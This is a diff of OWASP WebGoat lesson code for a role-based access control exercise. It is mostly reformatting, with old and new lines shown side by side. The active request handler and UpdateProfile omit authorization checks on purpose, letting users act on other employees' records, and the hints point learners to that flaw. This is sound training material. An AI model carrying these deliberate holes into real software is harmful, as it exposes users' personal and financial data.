* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
@ -60,7 +59,8 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
public final static String STAGE4 = "Add Data Layer Access Control"; public final static String STAGE4 = "Add Data Layer Access Control";
protected void registerActions(String className) { protected void registerActions(String className)
{
registerAction(new ListStaff(this, className, LISTSTAFF_ACTION)); registerAction(new ListStaff(this, className, LISTSTAFF_ACTION));
registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION)); registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION));
registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION)); registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION));
@ -68,16 +68,11 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION)); registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
// These actions are special in that they chain to other actions. // These actions are special in that they chain to other actions.
registerAction(new Login(this, className, LOGIN_ACTION, registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION)));
getAction(LISTSTAFF_ACTION))); registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION, registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
getAction(LOGIN_ACTION))); registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className,
UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className,
DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
} }
/** /**
@ -98,33 +93,28 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints hints.add("Many sites attempt to restrict access to resources by role.");
.add("Many sites attempt to restrict access to resources by role."); hints.add("Developers frequently make mistakes implementing this scheme.");
hints
.add("Developers frequently make mistakes implementing this scheme.");
hints.add("Attempt combinations of users, roles, and resources."); hints.add("Attempt combinations of users, roles, and resources.");
// Stage 1 // Stage 1
hints hints.add("How does the application know that the user selected the delete function?");
.add("How does the application know that the user selected the delete function?");
// Stage 2 // Stage 2
// Stage 3 // Stage 3
hints hints.add("How does the application know that the user selected any particular employee to view?");
.add("How does the application know that the user selected any particular employee to view?");
// Stage 4 // Stage 4
hints hints.add("Note that the contents of the staff listing change depending on who is logged in.");
.add("Note that the contents of the staff listing change depending on who is logged in.");
return hints; return hints;
} }
@Override @Override
public String[] getStages() { public String[] getStages()
if (getWebgoatContext().isCodingExercises()) {
return new String[] {STAGE1, STAGE2, STAGE3, STAGE4}; if (getWebgoatContext().isCodingExercises()) return new String[] { STAGE1, STAGE2, STAGE3, STAGE4 };
return new String[] { STAGE1, STAGE3 }; return new String[] { STAGE1, STAGE3 };
} }
@ -174,15 +164,13 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
// It would be a good place verify authorization to use an action. // It would be a good place verify authorization to use an action.
// System.out.println("RoleBasedAccessControl.handleRequest()"); // System.out.println("RoleBasedAccessControl.handleRequest()");
if (s.getLessonSession(this) == null) if (s.getLessonSession(this) == null) s.openLessonSession(this);
s.openLessonSession(this);
String requestedActionName = null; String requestedActionName = null;
try try
{ {
requestedActionName = s.getParser().getStringParameter("action"); requestedActionName = s.getParser().getStringParameter("action");
} } catch (ParameterNotFoundException pnfe)
catch (ParameterNotFoundException pnfe)
{ {
// Let them eat login page. // Let them eat login page.
requestedActionName = LOGIN_ACTION; requestedActionName = LOGIN_ACTION;
@ -194,7 +182,8 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
LessonAction action = getAction(requestedActionName); LessonAction action = getAction(requestedActionName);
if (action != null) if (action != null)
{ {
//System.out.println("RoleBasedAccessControl.handleRequest() dispatching to: " + action.getActionName()); // System.out.println("RoleBasedAccessControl.handleRequest() dispatching to: " +
// action.getActionName());
if (!action.requiresAuthentication()) if (!action.requiresAuthentication())
{ {
// Access to Login does not require authentication. // Access to Login does not require authentication.
@ -212,26 +201,22 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
} }
else else
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} } catch (ParameterNotFoundException pnfe)
catch (ParameterNotFoundException pnfe)
{ {
System.out.println("Missing parameter"); System.out.println("Missing parameter");
pnfe.printStackTrace(); pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} } catch (ValidationException ve)
catch (ValidationException ve)
{ {
System.out.println("Validation failed"); System.out.println("Validation failed");
ve.printStackTrace(); ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} } catch (UnauthenticatedException ue)
catch (UnauthenticatedException ue)
{ {
s.setMessage("Login failed"); s.setMessage("Login failed");
System.out.println("Authentication failure"); System.out.println("Authentication failure");
ue.printStackTrace(); ue.printStackTrace();
} } catch (UnauthorizedException ue2)
catch (UnauthorizedException ue2)
{ {
s.setMessage("You are not authorized to perform this function"); s.setMessage("You are not authorized to perform this function");
@ -241,8 +226,8 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
{ {
try try
{ {
if (RoleBasedAccessControl.DELETEPROFILE_ACTION.equals(requestedActionName) && if (RoleBasedAccessControl.DELETEPROFILE_ACTION.equals(requestedActionName)
!isAuthorized(s, getUserId(s), RoleBasedAccessControl.DELETEPROFILE_ACTION)) && !isAuthorized(s, getUserId(s), RoleBasedAccessControl.DELETEPROFILE_ACTION))
{ {
setStageComplete(s, STAGE2); setStageComplete(s, STAGE2);
} }
@ -259,10 +244,9 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
{ {
// System.out.println("Checking for stage 4 completion"); // System.out.println("Checking for stage 4 completion");
DefaultLessonAction action = (DefaultLessonAction) getAction(getCurrentAction(s)); DefaultLessonAction action = (DefaultLessonAction) getAction(getCurrentAction(s));
int userId = Integer.parseInt((String)s.getRequest().getSession().getAttribute(getLessonName() + "." int userId = Integer.parseInt((String) s.getRequest().getSession()
+ RoleBasedAccessControl.USER_ID)); .getAttribute(getLessonName() + "." + RoleBasedAccessControl.USER_ID));
int employeeId = s.getParser().getIntParameter( int employeeId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID);
RoleBasedAccessControl.EMPLOYEE_ID);
if (!action.isAuthorizedForEmployee(s, userId, employeeId)) if (!action.isAuthorizedForEmployee(s, userId, employeeId))
{ {
@ -278,8 +262,7 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
System.out.println("Authorization failure"); System.out.println("Authorization failure");
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
ue2.printStackTrace(); ue2.printStackTrace();
} } catch (Exception e)
catch (Exception e)
{ {
// All other errors send the user to the generic error page // All other errors send the user to the generic error page
System.out.println("handleRequest() error"); System.out.println("handleRequest() error");
@ -291,22 +274,19 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
setContent(new ElementContainer()); setContent(new ElementContainer());
} }
public void handleRequest_BACKUP(WebSession s) public void handleRequest_BACKUP(WebSession s)
{ {
// Here is where dispatching to the various action handlers happens. // Here is where dispatching to the various action handlers happens.
// It would be a good place verify authorization to use an action. // It would be a good place verify authorization to use an action.
// System.out.println("RoleBasedAccessControl.handleRequest()"); // System.out.println("RoleBasedAccessControl.handleRequest()");
if (s.getLessonSession(this) == null) if (s.getLessonSession(this) == null) s.openLessonSession(this);
s.openLessonSession(this);
String requestedActionName = null; String requestedActionName = null;
try try
{ {
requestedActionName = s.getParser().getStringParameter("action"); requestedActionName = s.getParser().getStringParameter("action");
} } catch (ParameterNotFoundException pnfe)
catch (ParameterNotFoundException pnfe)
{ {
// Let them eat login page. // Let them eat login page.
requestedActionName = LOGIN_ACTION; requestedActionName = LOGIN_ACTION;
@ -320,7 +300,9 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
LessonAction action = getAction(requestedActionName); LessonAction action = getAction(requestedActionName);
if (action != null) if (action != null)
{ {
//System.out.println("RoleBasedAccessControl.handleRequest() dispatching to: " + action.getActionName()); // System.out.println("RoleBasedAccessControl.handleRequest() dispatching to: "
// +
// action.getActionName());
if (!action.requiresAuthentication()) if (!action.requiresAuthentication())
{ {
// Access to Login does not require authentication. // Access to Login does not require authentication.
@ -331,8 +313,7 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
if (action.isAuthenticated(s)) if (action.isAuthenticated(s))
{ {
int userId = action.getUserId(s); int userId = action.getUserId(s);
if (action.isAuthorized(s, userId, action if (action.isAuthorized(s, userId, action.getActionName()))
.getActionName()))
{ {
action.handleRequest(s); action.handleRequest(s);
} }
@ -347,26 +328,22 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
} }
else else
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} } catch (ParameterNotFoundException pnfe)
catch (ParameterNotFoundException pnfe)
{ {
System.out.println("Missing parameter"); System.out.println("Missing parameter");
pnfe.printStackTrace(); pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} } catch (ValidationException ve)
catch (ValidationException ve)
{ {
System.out.println("Validation failed"); System.out.println("Validation failed");
ve.printStackTrace(); ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} } catch (UnauthenticatedException ue)
catch (UnauthenticatedException ue)
{ {
s.setMessage("Login failed"); s.setMessage("Login failed");
System.out.println("Authentication failure"); System.out.println("Authentication failure");
ue.printStackTrace(); ue.printStackTrace();
} } catch (UnauthorizedException ue2)
catch (UnauthorizedException ue2)
{ {
String stage = getStage(s); String stage = getStage(s);
// Update lesson status if necessary. // Update lesson status if necessary.
@ -374,8 +351,8 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
{ {
try try
{ {
if (RoleBasedAccessControl.DELETEPROFILE_ACTION.equals(requestedActionName) && if (RoleBasedAccessControl.DELETEPROFILE_ACTION.equals(requestedActionName)
!isAuthorized(s, getUserId(s), RoleBasedAccessControl.DELETEPROFILE_ACTION)) && !isAuthorized(s, getUserId(s), RoleBasedAccessControl.DELETEPROFILE_ACTION))
{ {
setStageComplete(s, STAGE2); setStageComplete(s, STAGE2);
} }
@ -392,10 +369,9 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
{ {
// System.out.println("Checking for stage 4 completion"); // System.out.println("Checking for stage 4 completion");
DefaultLessonAction action = (DefaultLessonAction) getAction(getCurrentAction(s)); DefaultLessonAction action = (DefaultLessonAction) getAction(getCurrentAction(s));
int userId = Integer.parseInt((String)s.getRequest().getSession().getAttribute(getLessonName() + "." int userId = Integer.parseInt((String) s.getRequest().getSession()
+ RoleBasedAccessControl.USER_ID)); .getAttribute(getLessonName() + "." + RoleBasedAccessControl.USER_ID));
int employeeId = s.getParser().getIntParameter( int employeeId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID);
RoleBasedAccessControl.EMPLOYEE_ID);
if (!action.isAuthorizedForEmployee(s, userId, employeeId)) if (!action.isAuthorizedForEmployee(s, userId, employeeId))
{ {
@ -412,8 +388,7 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
System.out.println("Authorization failure"); System.out.println("Authorization failure");
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
ue2.printStackTrace(); ue2.printStackTrace();
} } catch (Exception e)
catch (Exception e)
{ {
// All other errors send the user to the generic error page // All other errors send the user to the generic error page
System.out.println("handleRequest() error"); System.out.println("handleRequest() error");
@ -431,7 +406,6 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the DirectoryScreen object * Gets the title attribute of the DirectoryScreen object
* *

163
main/project/JavaSource/org/owasp/webgoat/lessons/RoleBasedAccessControl/UpdateProfile.java
View File

@ -1,10 +1,10 @@
package org.owasp.webgoat.lessons.RoleBasedAccessControl; package org.owasp.webgoat.lessons.RoleBasedAccessControl;
import java.sql.PreparedStatement; import java.sql.PreparedStatement;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
@ -15,32 +15,31 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
@ -49,68 +48,46 @@ public class UpdateProfile extends DefaultLessonAction
private LessonAction chainedAction; private LessonAction chainedAction;
public UpdateProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
public UpdateProfile(GoatHillsFinancial lesson, String lessonName,
String actionName, LessonAction chainedAction)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
this.chainedAction = chainedAction; this.chainedAction = chainedAction;
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthorizedException, ValidationException
UnauthenticatedException, UnauthorizedException,
ValidationException
{ {
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." int userId = getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID);
+ RoleBasedAccessControl.USER_ID);
int subjectId = s.getParser().getIntParameter( int subjectId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID, 0);
RoleBasedAccessControl.EMPLOYEE_ID, 0);
String firstName = s.getParser().getStringParameter( String firstName = s.getParser().getStringParameter(RoleBasedAccessControl.FIRST_NAME);
RoleBasedAccessControl.FIRST_NAME); String lastName = s.getParser().getStringParameter(RoleBasedAccessControl.LAST_NAME);
String lastName = s.getParser().getStringParameter( String ssn = s.getParser().getStringParameter(RoleBasedAccessControl.SSN);
RoleBasedAccessControl.LAST_NAME); String title = s.getParser().getStringParameter(RoleBasedAccessControl.TITLE);
String ssn = s.getParser().getStringParameter( String phone = s.getParser().getStringParameter(RoleBasedAccessControl.PHONE_NUMBER);
RoleBasedAccessControl.SSN); String address1 = s.getParser().getStringParameter(RoleBasedAccessControl.ADDRESS1);
String title = s.getParser().getStringParameter( String address2 = s.getParser().getStringParameter(RoleBasedAccessControl.ADDRESS2);
RoleBasedAccessControl.TITLE); int manager = s.getParser().getIntParameter(RoleBasedAccessControl.MANAGER);
String phone = s.getParser().getStringParameter( String startDate = s.getParser().getStringParameter(RoleBasedAccessControl.START_DATE);
RoleBasedAccessControl.PHONE_NUMBER); int salary = s.getParser().getIntParameter(RoleBasedAccessControl.SALARY);
String address1 = s.getParser().getStringParameter( String ccn = s.getParser().getStringParameter(RoleBasedAccessControl.CCN);
RoleBasedAccessControl.ADDRESS1); int ccnLimit = s.getParser().getIntParameter(RoleBasedAccessControl.CCN_LIMIT);
String address2 = s.getParser().getStringParameter( String disciplinaryActionDate = s.getParser().getStringParameter(RoleBasedAccessControl.DISCIPLINARY_DATE);
RoleBasedAccessControl.ADDRESS2); String disciplinaryActionNotes = s.getParser()
int manager = s.getParser().getIntParameter( .getStringParameter(RoleBasedAccessControl.DISCIPLINARY_NOTES);
RoleBasedAccessControl.MANAGER); String personalDescription = s.getParser().getStringParameter(RoleBasedAccessControl.DESCRIPTION);
String startDate = s.getParser().getStringParameter(
RoleBasedAccessControl.START_DATE);
int salary = s.getParser().getIntParameter(
RoleBasedAccessControl.SALARY);
String ccn = s.getParser().getStringParameter(
RoleBasedAccessControl.CCN);
int ccnLimit = s.getParser().getIntParameter(
RoleBasedAccessControl.CCN_LIMIT);
String disciplinaryActionDate = s.getParser().getStringParameter(
RoleBasedAccessControl.DISCIPLINARY_DATE);
String disciplinaryActionNotes = s.getParser().getStringParameter(
RoleBasedAccessControl.DISCIPLINARY_NOTES);
String personalDescription = s.getParser().getStringParameter(
RoleBasedAccessControl.DESCRIPTION);
Employee employee = new Employee(subjectId, firstName, lastName, Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2,
ssn, title, phone, address1, address2, manager, startDate, manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
salary, ccn, ccnLimit, disciplinaryActionDate, personalDescription);
disciplinaryActionNotes, personalDescription);
if (subjectId > 0) if (subjectId > 0)
{ {
this.changeEmployeeProfile(s, userId, subjectId, employee); this.changeEmployeeProfile(s, userId, subjectId, employee);
setRequestAttribute(s, getLessonName() + "." setRequestAttribute(s, getLessonName() + "." + RoleBasedAccessControl.EMPLOYEE_ID, Integer
+ RoleBasedAccessControl.EMPLOYEE_ID, Integer
.toString(subjectId)); .toString(subjectId));
} }
else else
@ -119,13 +96,11 @@ public class UpdateProfile extends DefaultLessonAction
try try
{ {
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} } catch (UnauthenticatedException ue1)
catch (UnauthenticatedException ue1)
{ {
System.out.println("Internal server error"); System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} } catch (UnauthorizedException ue2)
catch (UnauthorizedException ue2)
{ {
System.out.println("Internal server error"); System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
@ -135,15 +110,13 @@ public class UpdateProfile extends DefaultLessonAction
throw new UnauthenticatedException(); throw new UnauthenticatedException();
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
return RoleBasedAccessControl.VIEWPROFILE_ACTION; return RoleBasedAccessControl.VIEWPROFILE_ACTION;
} }
public void changeEmployeeProfile(WebSession s, int userId, int subjectId, Employee employee)
public void changeEmployeeProfile(WebSession s, int userId, int subjectId, throws UnauthorizedException
Employee employee) throws UnauthorizedException
{ {
try try
{ {
@ -153,7 +126,9 @@ public class UpdateProfile extends DefaultLessonAction
+ " personal_description = ? WHERE userid = ?;"; + " personal_description = ? WHERE userid = ?;";
try try
{ {
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ps.setString(1, employee.getFirstName()); ps.setString(1, employee.getFirstName());
ps.setString(2, employee.getLastName()); ps.setString(2, employee.getLastName());
@ -169,24 +144,21 @@ public class UpdateProfile extends DefaultLessonAction
ps.setString(12, employee.getPersonalDescription()); ps.setString(12, employee.getPersonalDescription());
ps.setInt(13, subjectId); ps.setInt(13, subjectId);
ps.execute(); ps.execute();
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
e.printStackTrace(); e.printStackTrace();
} }
} }
public void changeEmployeeProfile_BACKUP(WebSession s, int userId, int subjectId, Employee employee)
public void changeEmployeeProfile_BACKUP(WebSession s, int userId, throws UnauthorizedException
int subjectId, Employee employee) throws UnauthorizedException
{ {
try try
{ {
@ -196,7 +168,9 @@ public class UpdateProfile extends DefaultLessonAction
+ " personal_description = ? WHERE userid = ?;"; + " personal_description = ? WHERE userid = ?;";
try try
{ {
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ps.setString(1, employee.getFirstName()); ps.setString(1, employee.getFirstName());
ps.setString(2, employee.getLastName()); ps.setString(2, employee.getLastName());
@ -212,15 +186,13 @@ public class UpdateProfile extends DefaultLessonAction
ps.setString(12, employee.getPersonalDescription()); ps.setString(12, employee.getPersonalDescription());
ps.setInt(13, subjectId); ps.setInt(13, subjectId);
ps.executeUpdate(query); ps.executeUpdate(query);
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
e.printStackTrace(); e.printStackTrace();
@ -232,20 +204,16 @@ public class UpdateProfile extends DefaultLessonAction
int uid = -1; int uid = -1;
try try
{ {
Statement statement = WebSession.getConnection(s).createStatement( Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement ResultSet results = statement.executeQuery("select max(userid) as uid from employee");
.executeQuery("select max(userid) as uid from employee");
results.first(); results.first();
uid = results.getInt("uid"); uid = results.getInt("uid");
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
sqle.printStackTrace(); sqle.printStackTrace();
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
} } catch (ClassNotFoundException e)
catch (ClassNotFoundException e)
{ {
// TODO Auto-generated catch block // TODO Auto-generated catch block
e.printStackTrace(); e.printStackTrace();
@ -253,8 +221,7 @@ public class UpdateProfile extends DefaultLessonAction
return uid + 1; return uid + 1;
} }
public void createEmployeeProfile(WebSession s, int userId, public void createEmployeeProfile(WebSession s, int userId, Employee employee) throws UnauthorizedException
Employee employee) throws UnauthorizedException
{ {
try try
{ {
@ -284,14 +251,12 @@ public class UpdateProfile extends DefaultLessonAction
ps.setString(14, employee.getPersonalDescription()); ps.setString(14, employee.getPersonalDescription());
ps.execute(); ps.execute();
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
e.printStackTrace(); e.printStackTrace();

166
main/project/JavaSource/org/owasp/webgoat/lessons/RoleBasedAccessControl/ViewProfile.java
View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons.RoleBasedAccessControl; package org.owasp.webgoat.lessons.RoleBasedAccessControl;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.session.Employee; import org.owasp.webgoat.session.Employee;
@ -12,71 +12,63 @@ import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException; import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class ViewProfile extends DefaultLessonAction public class ViewProfile extends DefaultLessonAction
{ {
public ViewProfile(GoatHillsFinancial lesson, String lessonName, public ViewProfile(GoatHillsFinancial lesson, String lessonName, String actionName)
String actionName)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthorizedException
UnauthenticatedException, UnauthorizedException
{ {
getLesson().setCurrentAction(s, getActionName()); getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." int userId = getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID);
+ RoleBasedAccessControl.USER_ID);
int employeeId = -1; int employeeId = -1;
try try
{ {
// User selected employee // User selected employee
employeeId = s.getParser().getIntParameter( employeeId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID);
RoleBasedAccessControl.EMPLOYEE_ID); } catch (ParameterNotFoundException e)
}
catch (ParameterNotFoundException e)
{ {
// May be an internally selected employee // May be an internally selected employee
employeeId = getIntRequestAttribute(s, getLessonName() + "." employeeId = getIntRequestAttribute(s, getLessonName() + "." + RoleBasedAccessControl.EMPLOYEE_ID);
+ RoleBasedAccessControl.EMPLOYEE_ID);
} }
Employee employee = getEmployeeProfile(s, userId, employeeId); Employee employee = getEmployeeProfile(s, userId, employeeId);
setSessionAttribute(s, getLessonName() + "." setSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.EMPLOYEE_ATTRIBUTE_KEY, employee);
+ RoleBasedAccessControl.EMPLOYEE_ATTRIBUTE_KEY, employee);
} }
else else
throw new UnauthenticatedException(); throw new UnauthenticatedException();
@ -84,82 +76,64 @@ public class ViewProfile extends DefaultLessonAction
updateLessonStatus(s); updateLessonStatus(s);
} }
private void updateLessonStatus(WebSession s) private void updateLessonStatus(WebSession s)
{ {
// If the logged in user is not authorized to see the given employee's data, stage is complete. // If the logged in user is not authorized to see the given employee's data, stage is
// complete.
try try
{ {
